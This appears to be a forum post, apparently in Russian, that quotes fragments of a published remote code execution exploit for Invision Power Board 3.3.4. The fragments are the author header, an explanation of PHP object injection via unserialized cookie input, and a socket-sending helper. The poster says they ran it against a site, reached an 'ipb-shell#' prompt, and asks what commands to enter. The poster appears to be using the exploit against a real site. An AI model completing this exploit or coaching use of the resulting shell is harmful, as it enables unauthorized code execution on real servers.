author..............: Egidio Romano aka EgiX
mail................: n0b0d13s***91;at***93;gmail***91;dot***93;com
software link.......: http://www.invisionpower.com/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
***91;-***93; Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
info into a file. PHP code may be injected only through the $_SERVER***91;'QUERY_STRING'***93; variable, for this
reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n***91;-***93; No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "\n+---------------------------------------------------------------------+";
print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";
запускаю через цмд, вид принимает:
c:/*****/php.exe c:/****/q.php site.ru site.ru/forum/
дальше мне выдаёт ipb-shell# *и сюда текст*
я не могу понять,что писать после ipb-shell#,может кто объяснить?